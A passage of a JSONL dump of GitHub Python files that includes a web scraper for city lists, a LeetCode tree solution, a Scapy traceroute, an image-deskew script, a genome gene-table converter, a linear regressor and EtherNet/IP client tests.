= re.search(r'\\S+', name_text).group()\n href = j['href']\n nuomi_city_id = re.search(r'(?<=//)\\w+', href).group()\n first_char = i.find('span', class_='letter fl').get_text()\n city = City.objects.filter(city_name=name)\n if city.exists():\n city.update(nuomi_city_id=nuomi_city_id)\n else:\n City.objects.create(\n city_name=name,\n first_char=first_char,\n nuomi_city_id=nuomi_city_id,\n )\n\n#糯米城市列表-不存入数据库,返回作测试用\n@app.task(bind=True)\ndef nuomi_get_city_list_without_saving(self, url):\n result = []\n r = requests.get(url, timeout=NUOMI_TIME_OUT)\n r.encoding = 'utf-8'\n soup = BeautifulSoup(r.text, \"html.parser\")\n li = soup.find_all('li', class_='city-list clearfix')\n for i in li:\n a = i.find_all('a')\n for j in a:\n name_text = j.get_text()\n name = re.search(r'\\S+', name_text).group()\n href = j['href']\n nuomi_city_id = re.search(r'(?<=//)\\w+', href).group()\n first_char = i.find('span', class_='letter fl').get_text()\n result.append({\n 'city_name': name,\n 'first_char': first_char,\n 'nuomi_city_id': nuomi_city_id,\n })\n return result\n","repo_name":"doclin/movies_api","sub_path":"movies_tickets/spiders/nuomi.py","file_name":"nuomi.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"76"} +{"seq_id":"13540867395","text":"# https://leetcode.com/problems/maximum-binary-tree-ii/\n\n# https://leetcode.com/problems/maximum-binary-tree-ii/discuss/243214/Detailed-Explanation-With-Proof-Of-Correctness\n\nfrom typing import List, Optional\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n \n # Runtime: 67 ms, faster than 18.72% of Python3 online submissions for Maximum Binary Tree II.\n # Memory Usage: 13.9 MB, less than 45.11% of Python3 online submissions for Maximum Binary Tree II.\n \n def insertIntoMaxTree(self, root: Optional[TreeNode], val: int) -> Optional[TreeNode]:\n\n parent_node, current_node = None, root\n \n while current_node and current_node.val > val:\n parent_node , current_node = current_node, current_node.right\n \n new_node = TreeNode(val)\n new_node.left = current_node\n \n if parent_node : parent_node.right = new_node\n \n return root if root.val > val else new_node\n \n \n \n def insertIntoMaxTree(self, root: Optional[TreeNode], val: int) -> Optional[TreeNode]:\n\n def helper(root, value):\n \n valNode = TreeNode(value)\n \n if not root:\n return valNode\n \n if root.val < value:\n valNode.left = root\n return valNode\n else:\n root.right = helper(root.right, value)\n return root\n \n \n return helper(root, val)","repo_name":"Jiganesh/Loads-Of-Logic","sub_path":"trees/maximumBinaryTreeII.py","file_name":"maximumBinaryTreeII.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":189,"dataset":"github-code","pt":"76"} +{"seq_id":"32788791254","text":"from scapy.all import *\nfrom scapy.layers.inet import IP, ICMP\n\n\ndef traceroute(destination, max_hops=30):\n \"\"\"\n Perform a traceroute to the specified destination.\n\n Args:\n destination (str): The destination IP address or hostname.\n max_hops (int): Maximum number of hops to try before stopping.\n \"\"\"\n\n ttl = 1\n dst_reached = False\n\n while ttl <= max_hops:\n # Create the packet with the specified TTL\n packet = IP(dst=destination, ttl=ttl) / ICMP()\n\n # Send the packet and receive the reply\n reply = sr1(packet, verbose=0, timeout=2)\n\n if reply is None:\n # No reply received within the timeout\n print(f\"{ttl}. *\")\n elif reply.type == 0:\n # ICMP Echo Reply received, destination reached\n print(f\"{ttl}. {reply.src} (ICMP type={reply.type})\")\n dst_reached = True\n break\n elif reply.type == 11: # Time Exceeded\n # ICMP error message received from a router\n print(f\"{ttl}. {reply.src} (ICMP type={reply.type})\")\n\n ttl += 1\n\n if not dst_reached:\n print(\"Destination not reached.\")\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"Usage: python traceroute.py \")\n exit()\n else:\n destination = sys.argv[1]\n traceroute(destination)\n","repo_name":"Aviost111/Communications_EX5","sub_path":"traceroute.py","file_name":"traceroute.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19058590095","text":"# 参考 https://blog.csdn.net/wzw12315/article/details/105676529\n# 基于直线探测的文本类图片矫正算法\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nimg_path = 'xx.jpg'\n\nprint(\"working: {}\".format(img_path))\nimage = cv2.imread(img_path, cv2.IMREAD_COLOR)\ncopy = image.copy()\n# 开运算:先腐蚀,在膨胀\nkernel = np.ones((32, 32), dtype=np.uint8)\nimage = cv2.morphologyEx(image, cv2.MORPH_OPEN, kernel, 2)\n# cv2.namedWindow(\"opening\",0)\n# cv2.imshow('opening', opening)\ncanny = cv2.Canny(image,50,200,3)\n# canny = cv2.Canny(image,300,700,3)\nlines = cv2.HoughLines(canny,1,np.pi/180,220)\nprint(40*'#')\nprint(lines)\nprint(40*'#')\nsum = 0.0\ncount = 0\nfor i in range(0, len(lines)):\n rho, theta = lines[i][0][0], lines[i][0][1]\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a * rho\n y0 = b * rho\n x1 = int(x0 + 10000 * (-b))\n y1 = int(y0 + 10000 * (a))\n x2 = int(x0 - 10000 * (-b))\n y2 = int(y0 - 10000 * (a))\n tmp_theta = theta / np.pi * 180\n # 排除干扰直线\n if tmp_theta < 80 or tmp_theta > 100:\n continue\n count = count + 1\n sum += theta\n # print(f\"{theta} : {theta / np.pi * 180}\")\n cv2.line(image, (x1, y1), (x2, y2), (0, 0, 255), 1)\n# 计算平均旋转角度\nif count == 0:\n print(40*'#')\n print(\"图片{}不太行,直接复制原图,无法自动处理\".format(img_path))\n print(40*'#')\nelse:\n average = sum / count\n print(\"average: {}\".format(average))\n #度数转换\n angle = average / np.pi * 180\n print(\"angle: {}\".format(angle))\n angle = angle-90\n center = (image.shape[1] // 2, image.shape[0] // 2)\n rotMat = cv2.getRotationMatrix2D(center, angle, 1.0)\n # 用白色填充旋转后的图片周围\n cv_dst_img = cv2.warpAffine(copy, rotMat, (image.shape[1],image.shape[0]), borderValue=(255, 255, 255))\n # cv2.imwrite(save_path, cv_dst_img, [int(cv2.IMWRITE_JPEG_QUALITY), 100])\n\n plt.subplot(121), plt.imshow(copy), plt.title('ori')\n plt.xticks([]), plt.yticks([])\n\n plt.subplot(122), plt.imshow(cv_dst_img), plt.title('rot')\n plt.xticks([]), plt.yticks([])\n\n plt.tight_layout()\n plt.show()","repo_name":"kinhoy/common_scripts","sub_path":"test_rot_img.py","file_name":"test_rot_img.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"24907987087","text":"#python3\n\"\"\"\nCentral place to both download genbank and genome fna\nand convert them into a gene table file with all columns,\nincluding the GC content and nTA.\nWe additionally upload the Gene Table data object.\n\"\"\"\n\nimport os\n# from Bio import SeqIO\nimport logging\nimport datetime\nimport json\nimport shutil \nfrom converts.genbank_to_gene_table import genbank_and_genome_fna_to_gene_table\nfrom converts.ws_object_data_to_gene_table import obj_data_to_gene_table\n\n\n\ndef genome_ref_to_gene_table(genome_ref, gfu, tmp_dir,\n ws, ws_name,\n dfu, gene_table_name,\n use_JSON_data=True,\n test_bool=False,\n upload_bool=False,\n local_func=False):\n \"\"\"\n Args:\n genome_ref (str): \n gfu: GenomeFileUtil Class Object\n dfu: DataFileUtil Class Object\n ws: Workspace Object\n ws_name (str): Name of workspace (why)\n tmp_dir (str): Path to directory where work is done\n gene_table_name (str): Output name of gene_table\n test_bool (bool): Whether we should get the workspace\n from the genome ref or from the workspace.\n\n # OLD\n upload_bool (bool): Whether we should upload the object to KBase \n\n Returns:\n genes_GC_fp (str): Path to location of genes table\n\n Description:\n We use the GenomeFileUtil Object to download the genome\n information: the FNA file and the genbank file,\n to the location 'tmp_dir', then we create a gene table\n with the function 'genbank_and_genome_fna_to_gene_table'.\n The file is created at the location 'tmp_dir/genes.GC'\n the header columns will always be the same - \n locusId, sysName, type, scaffoldId, begin, end, strand, name, desc, GC, nTA\n\n \"\"\"\n\n # Download genome in GBK format and convert it to fna:\n # gt stands for genome table\n genome_fna_fp, gbk_fp = DownloadGenomeToFNA(gfu, genome_ref, tmp_dir)\n\n\n res_dir = os.path.join(tmp_dir, \"g2gt_results\")\n if os.path.exists(res_dir):\n logging.warning(\"res_dir exists already\")\n shutil.rmtree(res_dir)\n os.mkdir(res_dir)\n gene_table_fp = os.path.join(res_dir, \"genes.GC\")\n\n\n\n if use_JSON_data:\n other_genome_data_json_fp = get_other_genome_data(ws, genome_ref, tmp_dir, ws_name)\n JSON_gene_table_df = obj_data_to_gene_table(other_genome_data_json_fp)\n num_lines = JSON_gene_table_df.shape[0]\n JSON_gene_table_df.to_csv(gene_table_fp, sep='\\t', index=False)\n else:\n # This function creates the gene_table at the location gene_table_fp\n num_lines = genbank_and_genome_fna_to_gene_table(gbk_fp, genome_fna_fp, gene_table_fp)\n \n if upload_bool:\n # This section of code is currently expected to never happen.\n # No uploads planned\n genome_scientific_name, ws_id = GetGenomeOrganismName(ws, genome_ref, test_bool)\n res = upload_gene_table_object_to_KBase(gene_table_fp, dfu, ws, ws_name,\n num_lines, \n genome_ref, genome_scientific_name,\n gene_table_name,\n ws_id=ws_id)\n else:\n if local_func:\n # if local function call, res is exit_code, and since\n # it only reaches here if no Exceptions are raised, exit_code = 0.\n res = 0\n else:\n res = {}\n\n logging.info(\"Finished running function: genome_ref_to_gene_table\")\n\n return [res, res_dir, gene_table_fp]\n\n\n\n# We download Genome Files: gfu is Genome File Util\ndef DownloadGenomeToFNA(gfu, genome_ref, scratch_dir):\n \"\"\"\n Args: \n GFU Object, str (A/B/C), str path\n ws_obj: KBase workspace object\n Outputs: [fna_fp (str), gbk_fp (str)]\n \n \"\"\"\n\n GenomeToGenbankResult = gfu.genome_to_genbank({'genome_ref': genome_ref})\n\n logging.info(\"GenomeToGenbankResult\")\n logging.info(GenomeToGenbankResult)\n\n genbank_fp = GenomeToGenbankResult['genbank_file']['file_path']\n\n # looks through scratch directory for fna file.\n genome_fna_fp = get_fa_from_scratch(scratch_dir)\n\n\n return [genome_fna_fp, genbank_fp]\n\n\ndef get_fa_from_scratch(scratch_dir):\n \"\"\"\n Careful... May not work in the Future\n Inputs:\n scratch_dir: (str) Path to work dir/ tmp etc..\n Outputs:\n FNA fp: (str) Automatic download through GenbankToGenome\n \"\"\"\n \n scratch_files = os.listdir(scratch_dir)\n fna_paths = []\n for f in scratch_files:\n if f[-3:] == \".fa\":\n fna_paths.append(os.path.join(scratch_dir, f))\n \n if len(fna_paths) == 0:\n raise Exception(\"Could not find '.fa' file in scratch directory, files \"\n \"in directory are \" + \", \".join(scratch_files))\n elif len(fna_paths) > 1:\n raise Exception(\"Found multiple '.fa' files in scratch directory, files \"\n \"in directory are \" + \", \".join(scratch_files) + \".\" + \\\n \" the '.fa' files found are: \" + \", \".join(fna_paths) + \".\" + \\\n \" Only expecting a single '.fa' file from the genome object. Cannot continue.\")\n else:\n fna_fp = fna_paths[0]\n\n return fna_fp\n\ndef get_other_genome_data(ws, genome_ref, tmp_dir, ws_name):\n \"\"\"\n Args:\n ws KBase workspace object)\n genome_ref (str) ref of genome\n tmp_dir (str) Path to tmp dir\n \"\"\"\n genome_ObjectSpecification = {\n \"ref\": genome_ref\n }\n getObjects2Results = ws.get_objects2({\"objects\":[genome_ObjectSpecification]})\n\n logging.info(type(getObjects2Results))\n logging.info(\"Got workspace 'get_objects2' results for genome \" + genome_ref)\n\n data_fp = os.path.join(tmp_dir, \"GO2_\" + genome_ref.replace(\"/\",\"_\") + \".json\")\n with open(data_fp, 'w') as g:\n g.write(json.dumps(getObjects2Results))\n\n return data_fp\n\n\n\n\n\ndef GetGenomeOrganismName(ws, genome_ref, test_bool):\n \"\"\"\n Args:\n ws: workspace client object\n genome_ref: (str) A/B/C\n test_bool: Get workspace from genome object.\n Returns:\n scientific_name (str)\n ws_id (int)\n Description:\n Getting the organism name using WorkspaceClient\n\n \"\"\"\n res = ws.get_objects2(\n {\n \"objects\": [\n {\n \"ref\": genome_ref,\n \"included\": [\"scientific_name\"],\n }\n ]\n }\n )\n scientific_name = res[\"data\"][0][\"data\"][\"scientific_name\"]\n ws_id = None\n if test_bool:\n ws_id = res[\"data\"][0][\"info\"][6]\n return scientific_name, ws_id\n\n\n\ndef upload_gene_table_object_to_KBase(gene_table_fp, dfu, ws,\n ws_name,\n num_lines,\n genome_ref, organism_scientific_name,\n gene_table_name,\n ws_id=None):\n \"\"\"\n Args:\n gene_table_fp (str) Path to gene table\n dfu: DataFileUtil object\n num_lines (int): Number of lines in the file at gene_table_fp\n genome_ref (str): The permanent id of the genome object from which this is taken.\n organism_scientific_name (str): The name of the organism related to the genome.\n gene_table_name (str): Output name\n ws_id (int or None): If ws_id is None, then we proceed as normal, if it is an int then\n we use that.\n \"\"\"\n # We create the handle for the object:\n file_to_shock_result = dfu.file_to_shock(\n {\"file_path\": gene_table_fp, \"make_handle\": True, \"pack\": \"gzip\"}\n )\n # The following var res_handle only created for simplification of code\n res_handle = file_to_shock_result[\"handle\"]\n\n # We create a better Description by adding date time and username\n date_time = datetime.datetime.utcnow()\n #new_desc = \"Uploaded by {} on (UTC) {} using Uploader. User Desc: \".format(\n # self.params['username'], str(date_time))\n column_headers_str = \"locusId, sysName, type, scaffoldId, begin, \" + \\\n \"end, strand, name, desc, GC, nTA\"\n column_header_list = column_headers_str.split(', ')\n\n\n # We create the data for the object\n genes_data = {\n \"file_type\": \"KBaseRBTnSeq.RBTS_InputGenesTable\",\n \"input_genes_table\": res_handle[\"hid\"],\n # below should be shock\n \"handle_type\": res_handle[\"type\"],\n \"shock_url\": res_handle[\"url\"],\n \"shock_node_id\": res_handle[\"id\"],\n \"compression_type\": \"gzip\",\n \"file_name\": res_handle[\"file_name\"],\n \"utc_created\": str(date_time),\n \"column_header_list\": column_header_list,\n \"column_headers_str\": column_headers_str,\n \"num_lines\": str(num_lines),\n \"related_genome_ref\": genome_ref,\n \"related_organism_scientific_name\": organism_scientific_name\n }\n\n if ws_id is None:\n ws_info = ws.get_workspace_info({'workspace': ws_name})\n ws_id = ws_info[0]\n\n\n save_object_params = {\n \"id\": ws_id,\n \"objects\": [\n {\n \"type\": \"KBaseRBTnSeq.RBTS_InputGenesTable\",\n \"data\": genes_data,\n \"name\": gene_table_name,\n }\n ],\n }\n # save_objects returns a list of object_infos\n dfu_object_info = dfu.save_objects(save_object_params)[0]\n logging.info(\"dfu_object_info after saving Gene Table: \")\n logging.info(dfu_object_info)\n return {\n \"Name\": dfu_object_info[1],\n \"Type\": dfu_object_info[2],\n \"Date\": dfu_object_info[3],\n }\n\n\ndef validate_params(params):\n \"\"\"\n Args:\n params (d):\n genome_ref (str)\n output_name (str)\n \"\"\"\n for x in [\"genome_ref\", \"output_name\"]:\n if x not in params:\n raise Exception(f\"Expecting parameter {x} as an input, but not found. \" + \", \".join(params.keys()))\n\n if len(params[\"genome_ref\"].split(\"/\")) != 3:\n raise Exception(f\"Expecting genome ref in format 'A/B/C', instead got {params['genome_ref']}\")\n\n if \" \" in params['output_name']:\n raise Exception(f\"Output name cannot contain spaces. Output name: {params['output_name']}\")\n\n test_bool = False\n if 'app_test' in params:\n test_bool=True\n\n if \"test_num\" in params:\n logging.info(\"Running test number \" + params[\"test_num\"])\n\n # Upload gene table? Deprecated.\n #upload_bool = False\n\n return [params[\"genome_ref\"], params[\"output_name\"], test_bool]\n\n\n","repo_name":"OGalOz/rbts_genome_to_genetable","sub_path":"lib/converts/central.py","file_name":"central.py","file_ext":"py","file_size_in_byte":10727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"38159586070","text":"from matrix import Matrix\n\n\nclass LinearRegressor:\n def fit(self, data):\n y_matrix_rows = [[point[-1]] for point in data]\n y_matrix = Matrix(y_matrix_rows)\n\n coefficient_matrix_rows = []\n for point in data:\n row_to_append = point[:-1]\n row_to_append.append(1)\n coefficient_matrix_rows.append(row_to_append)\n\n coefficient_matrix = Matrix(coefficient_matrix_rows)\n\n transpose_times_y = coefficient_matrix.transpose().matrix_multiply(y_matrix)\n transpose_times_coefficients = coefficient_matrix.transpose().matrix_multiply(\n coefficient_matrix\n )\n\n m_and_b_matrix = transpose_times_coefficients.inverse().matrix_multiply(\n transpose_times_y\n )\n\n self.coefficients = [coefficient[0] for coefficient in m_and_b_matrix.rows[:-1]]\n self.coefficients.insert(0, m_and_b_matrix.rows[-1][0])\n\n def predict(self, point_to_predict_at):\n if self.coefficients == None:\n return \"no dtata to fit\"\n if len(point_to_predict_at) != len(self.coefficients) - 1:\n return \":cursed:\"\n answer = 0\n for i in range(0, len(point_to_predict_at)):\n answer += point_to_predict_at[i] * self.coefficients[i + 1]\n answer += self.coefficients[0]\n return answer\n\n\npain = [\n [0, 0, 1],\n [1, 0, 2],\n [2, 0, 4],\n [4, 0, 8],\n [6, 0, 9],\n [0, 2, 2],\n [0, 4, 5],\n [0, 6, 7],\n [0, 8, 6],\n [2, 2, 1],\n [3, 4, 1],\n]\n\nfor rating in pain:\n rating.insert(-1, rating[0] * rating[1])\n\n\noog = LinearRegressor()\noog.fit(pain)\nprint(oog.coefficients)\nprint(oog.predict([5, 5, 25]))\n","repo_name":"eliskol/machine-learning","sub_path":"tests/peanut_butter/beef_and_pb_new_and_improved.py","file_name":"beef_and_pb_new_and_improved.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"28105504011","text":"from __future__ import absolute_import, print_function, division\ntry:\n from future_builtins import zip, map # Use Python 3 \"lazy\" zip, map\nexcept ImportError:\n pass\n\nimport errno\nimport logging\nimport multiprocessing\nimport os\nimport pytest\nimport random\nimport socket\nimport sys\nimport threading\nimport time\nimport traceback\n\nif __name__ == \"__main__\":\n # Allow relative imports when executing within package directory, for\n # running tests directly\n sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))))\n from cpppo.automata import log_cfg\n #log_cfg['level'] \t\t= logging.INFO\n logging.basicConfig( **log_cfg )\n\nfrom ...dotdict import dotdict, apidict\nfrom ... import misc, tools\nfrom .. import enip, network\nfrom ..enip.main import main as enip_main\n\nlog\t\t\t\t= logging.getLogger( \"cli.test\" )\n\ndef test_parse_path():\n \"\"\"EPATH segment parsing, from strings.\"\"\"\n # Version <= 3.9.2 functionality\n assert enip.client.parse_path( [{\"class\": 0x22}, {\"instance\": 1}]) \\\n == [{\"class\": 0x22}, {\"instance\": 1}]\n\n # CIP addressing\n assert enip.client.parse_path( '@0x22/1' ) \\\n == [{\"class\": 0x22}, {\"instance\": 1}]\n assert enip.client.parse_path( '@0x22/1/2' ) \\\n == [{\"class\": 0x22}, {\"instance\": 1}, {\"attribute\": 2}]\n assert enip.client.parse_path( '@0x22/1/2/3' ) \\\n == [{\"class\": 0x22}, {\"instance\": 1}, {\"attribute\": 2}, {\"element\": 3}]\n\n # JSON support\n assert enip.client.parse_path( '@{\"class\":4}/5/{\"connection\":100}' ) \\\n == [{\"class\": 0x04}, {\"instance\": 5}, {\"connection\": 100}]\n\n # Tag[-]\n assert enip.client.parse_path_elements( \"Boo\" ) \\\n == ([{\"symbolic\": \"Boo\"}],None,None)\n assert enip.client.parse_path_elements( \"Boo[123]\" ) \\\n == ([{\"symbolic\": \"Boo\" }, {\"element\": 123}],123,None)\n assert enip.client.parse_path_elements( \"Boo[123-456]\" ) \\\n == ([{\"symbolic\": \"Boo\" }, {\"element\": 123}],123,334)\n\n # CIP + element addressing combined\n assert enip.client.parse_path_elements( \"@0x22/1/2[123-456]\" ) \\\n == ([{\"class\": 0x22 }, {\"instance\":1}, {\"attribute\": 2}, {\"element\": 123}],123,334)\n\n # Version >= 3.9.3 functionality. Support for multiple levels of Tags\n assert enip.client.parse_path_elements( \"Foo[1].Boo[123-456]\" ) \\\n == ([{\"symbolic\": \"Foo\" }, {\"element\": 1}, {\"symbolic\": \"Boo\" }, {\"element\": 123}],123,334)\n # Specify default , \n assert enip.client.parse_path_elements( \"Foo\", elm=2, cnt=5 ) \\\n == ([{\"symbolic\": \"Foo\" }, {\"element\": 2}, ],2,5)\n assert enip.client.parse_path_elements( \"Foo[1]\", elm=2, cnt=5 ) \\\n == ([{\"symbolic\": \"Foo\" }, {\"element\": 1}, ],1,5)\n assert enip.client.parse_path_elements( \"Foo[1]*3\", elm=2, cnt=5 ) \\\n == ([{\"symbolic\": \"Foo\" }, {\"element\": 1}, ],1,3)\n assert enip.client.parse_path_elements( \"@1/2/3\", elm=2, cnt=5 ) \\\n == ([{\"class\": 1}, {\"instance\": 2}, {\"attribute\": 3}, {\"element\": 2}, ],2,5)\n assert enip.client.parse_path_elements( \"@1/2/3[4-9]*3\", elm=2, cnt=5 ) \\\n == ([{\"class\": 1}, {\"instance\": 2}, {\"attribute\": 3}, {\"element\": 4}, ],4,6)\n\n\ndef test_parse_route_path():\n assert enip.parse_route_path( '1/0/2/0::1' ) \\\n == [{\"port\": 1, \"link\":0}, {\"port\": 2, \"link\": \"::1\"}]\n\n with pytest.raises(Exception) as e:\n assert enip.parse_route_path( '1/0/2/0::1/@2/1' )\n assert \"unhandled: ['@2/1']\" in str( e.value )\n assert enip.parse_connection_path( '1/0/2/0::1/@2/1' ) \\\n == [{\"port\": 1, \"link\":0}, {\"port\": 2, \"link\": \"::1\"}, {\"class\": 2}, {\"instance\": 1}]\n\n\ndef connector( **kwds ):\n \"\"\"An enip.client.connector that logs and ignores socket errors (returning None).\"\"\"\n beg\t\t\t\t= misc.timer()\n try:\n log.info( \"Connecting to %s:%s for %s sec. timeout\", kwds.get('host'), kwds.get('port'), kwds.get('timeout') )\n return enip.client.connector( **kwds )\n except socket.timeout:\n log.info( \"EtherNet/IP CIP connection timed out after %.3fs\",\n misc.timer() - beg )\n except socket.error as exc:\n log.info( \"EtherNet/IP CIP connection error %d: %r after %.3fs\",\n exc.errno, exc.strerror, misc.timer() - beg )\n except Exception as exc:\n log.info( \"EtherNet/IP CIP connection failure after %.3fs: %s\",\n misc.timer() - beg, exc )\n raise\n\n\ndef test_client_timeout():\n \"\"\"Both connection and request I/O should respond to the specified timeout (w/ socket.timeout, or\n socket.error, if the host actually exists...).\n\n \"\"\"\n conn\t\t\t= multiprocessing.Process( # So we can actually kill it if blocked...\n target=connector,\n kwargs={ 'host': '10.254.254.253', 'port': 44818, 'timeout': .5 } )\n conn.start()\n # Await the termination of the Process, which should happen just after .5s.\n beg\t\t\t\t= misc.timer()\n try:\n assert all( tools.waits.existence( terms=[ lambda: not conn.is_alive() ], timeout=1.0 )), \\\n \"enip.client.connector to non-existent host didn't time out; took: %.3fs\" % ( misc.timer() - beg )\n finally:\n conn.terminate()\n\n\ndef test_dotdict_request():\n d = dotdict()\n o = dotdict({'something': 99})\n d.item = [o,o,o]\n d2 = dotdict( d )\n assert len( d2 ) == 1\n assert len( d2.item ) == 3\n\n\ndef test_client_api_simple():\n taglen\t\t\t= 100 # able to fit request for Attribute into 1 packet\n server_addr\t\t = ('localhost', 12398)\n server_kwds\t\t\t= dotdict({\n 'argv': [\n '-v',\n '--address',\t'%s:%d' % server_addr,\n 'Int@0x99/1/1=INT[%d]' % ( taglen ),\n 'Real@0x99/1/2=REAL[%d]' % ( taglen ),\n 'DInt@0x99/1/3=DINT[%d]' % ( taglen ),\n ],\n 'server': {\n 'control':\tapidict( enip.timeout, {\n 'done': False\n }),\n },\n })\n server_func\t\t\t= enip_main\n\n Process\t\t\t= threading.Thread # multiprocessing.Process\n server\t\t\t= Process( target=server_func, kwargs=server_kwds )\n server.daemon\t\t= True\n server.start()\n\n client_timeout\t\t= 15.0\n\n try:\n connection\t\t= None\n while not connection:\n time.sleep( .1 )\n try:\n connection\t= enip.client.implicit( *server_addr, timeout=client_timeout, connection_path=None )\n except socket.error as exc:\n logging.warning( \"enip.client.connector socket.error: %r\", exc )\n if exc.errno != errno.ECONNREFUSED:\n raise\n except Exception as exc:\n logging.warning( \"enip.client.connector Exception: %r\", exc )\n raise\n\n with connection:\n # Get Attribute Single's payload is an EPATH\n req\t\t\t= connection.service_code(\n code=enip.Object.GA_SNG_REQ, path='@0x99/1/2' )\n assert 'service_code' in req and req.service_code is True # no payload\n assert connection.readable( timeout=10.0 ) # receive reply\n rpy\t\t\t= next( connection )\n assert rpy and 'enip.CIP' in rpy and 'send_data.CPF.item[1].connection_data.request.get_attribute_single' in rpy.enip.CIP\n\n # Set Attribute Single's payload is an EPATH + USINT data\n req\t\t\t= connection.service_code(\n code=enip.Object.SA_SNG_REQ, path='@0x99/1/2',\n data=list( bytearray(\n #enip.EPATH.produce( enip.parse_path( '@0x99/1/2' )) +\n enip.typed_data.produce( { 'data': list( map( float, range( taglen ))) }, tag_type=enip.REAL.tag_type ))))\n assert 'service_code' in req and isinstance( req.service_code, dict ) and 'data' in req.service_code\n assert connection.readable( timeout=10.0 ) # receive reply\n rpy\t\t\t= next( connection )\n assert rpy and 'enip.CIP' in rpy and 'send_data.CPF.item[1].connection_data.request.set_attribute_single' in rpy.enip.CIP\n\n '''\n # Try to send some PCCC I/O\n req\t\t= connection.connected_send( b'\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x4a\\x0a\\x03',\n connection=0x8dee0016, sequence=1 )\n logging.normal(\"PCCC Request: %s\", enip.enip_format( req ))\n #assert 'service_code' in req and req.service_code is True # no payload\n assert connection.readable( timeout=10.0 ) # receive reply\n rpy\t\t\t= next( connection )\n logging.normal(\"PCCC Response: %s\", enip.enip_format( rpy )) # will be EtherNet/IP status 8; nothing implemented\n '''\n\n if not random.randint( 0, 9 ): # 10% of the time...\n # Try a clean shutdown, closing the outgoing half of the socket, leading to an EOF on\n # the server. This will cause the subsequent Forward Close to fail w/ an EPIPE\n logging.normal( \"Skip Forward Close; send EOF\" )\n connection.shutdown()\n assert connection.readable( timeout=1.0 ) # receive EOF\n try:\n connection.close()\n except socket.error as exc:\n if exc.errno != errno.EPIPE:\n raise\n else:\n # Normal close procedure; send Forward Close + EOF, receive Forward Close + EOF.\n logging.normal( \"Send Forward Close; then EOF\" )\n del connection\n finally:\n control\t\t\t= server_kwds.get( 'server', {} ).get( 'control', {} ) if server_kwds else {}\n if 'done' in control:\n log.normal( \"Server %r done signalled\", misc.function_name( server_func ))\n control['done']\t= True\t# only useful for threading.Thread; Process cannot see this\n if hasattr( server, 'terminate' ):\n log.normal( \"Server %r done via .terminate()\", misc.function_name( server_func ))\n server.terminate() \t\t# only if using multiprocessing.Process(); Thread doesn't have\n server.join( timeout=1.0 )\n\n\ndef test_client_api_random():\n \"\"\"Performance of executing an operation a number of times on a socket connected\n Logix simulator, within the same Python interpreter (ie. all on a single CPU\n thread).\n\n We'll point the Tags to CIP Class 0x99, Instance 1, starting at Attribute 1.\n\n \"\"\"\n taglen\t\t\t= 100 # able to fit request for Attribute into 1 packet\n\n svraddr\t\t = ('localhost', 12399)\n svrkwds\t\t\t= dotdict({\n 'argv': [\n #'-v',\n '--address',\t'%s:%d' % svraddr,\n 'Int@0x99/1/1=INT[%d]' % ( taglen ),\n 'Real@0x99/1/2=REAL[%d]' % ( taglen ),\n 'DInt@0x99/1/3=DINT[%d]' % ( taglen ),\n ],\n 'server': {\n 'control':\tapidict( enip.timeout, { \n 'done': False\n }),\n },\n })\n clitimes\t\t\t= 100\n clitimeout\t\t\t= 15.0\n clidepth\t\t\t= 5\t\t# max. requests in-flight\n climultiple\t\t\t= 500\t\t# max. bytes of req/rpy per Multiple Service Packet\n clicount\t\t\t= 7\n clipool\t\t\t= 5\n\n def tagtests( total, name=\"Int\", length=taglen, tag_class=enip.INT ):\n \"\"\"Generate random reads and writes to Tag 'name' (default \"Int\", tag_class enip.INT); can only\n handle types with real, not estimated, sizes (ie. not SSTRING). All writes write a value\n equal to the index, all reads should report the correct value (or 0, if the element was\n never written). Randomly supply an offset (force Read/Write Tag Fragmented).\n\n Yields the effective (elm,cnt), and the tag=val,val,... .\n\n \"\"\"\n for i in range( total ):\n elm\t\t\t= random.randint( 0, length-1 ) \n cnt\t\t\t= random.randint( 1, min( 5, length - elm ))\n off\t\t\t= None # in elements, not bytes\n val\t\t\t= None\n if not random.randint( 0, 10 ) and cnt > 1:\n off\t\t\t= random.randint( 0, cnt - 1 )\n if random.randint( 0, 1 ):\n val\t\t= list( range( elm + ( off or 0 ), elm + cnt ))\n tag\t\t\t= \"%s[%d-%d]\" % ( name, elm, elm + cnt - 1 )\n if off is not None:\n tag\t += \"+%d\" % ( off * tag_class.struct_calcsize )\n if val is not None:\n tag\t += '=(%s)' % tag_class.__name__ + ','.join( map( str, val ))\n\n yield (elm+( off or 0 ),cnt-( off or 0 )),tag\n\n def clitest_tag( n ):\n times\t\t\t= clitimes # How many I/O per client\n # take apart the sequence of ( ..., ((elm,cnt), \"Int[1-2]=1,2\"), ...)\n # into two sequences: (..., (elm,cnt), ...) and (..., \"Int[1-2]=1,2\", ...)\n tag_targets\t\t= [('Int',enip.INT), ('DInt',enip.DINT), ('Real',enip.REAL)]\n name,tag_class\t\t= random.choice( tag_targets )\n regs,tags\t\t= zip( *list( tagtests( total=times, name=name, tag_class=tag_class )))\n connection\t\t= None\n while not connection:\n try:\n connection\t= enip.client.connector( *svraddr, timeout=clitimeout )\n except socket.error as exc:\n if exc.errno != errno.ECONNREFUSED:\n raise\n time.sleep( .1 )\n \n results\t\t\t= []\n failures\t\t= 0\n with connection:\n begins\t\t= misc.timer()\n multiple\t\t= random.randint( 0, 4 ) * climultiple // 4 \t# eg. 0, 125, 250, 375, 500\n 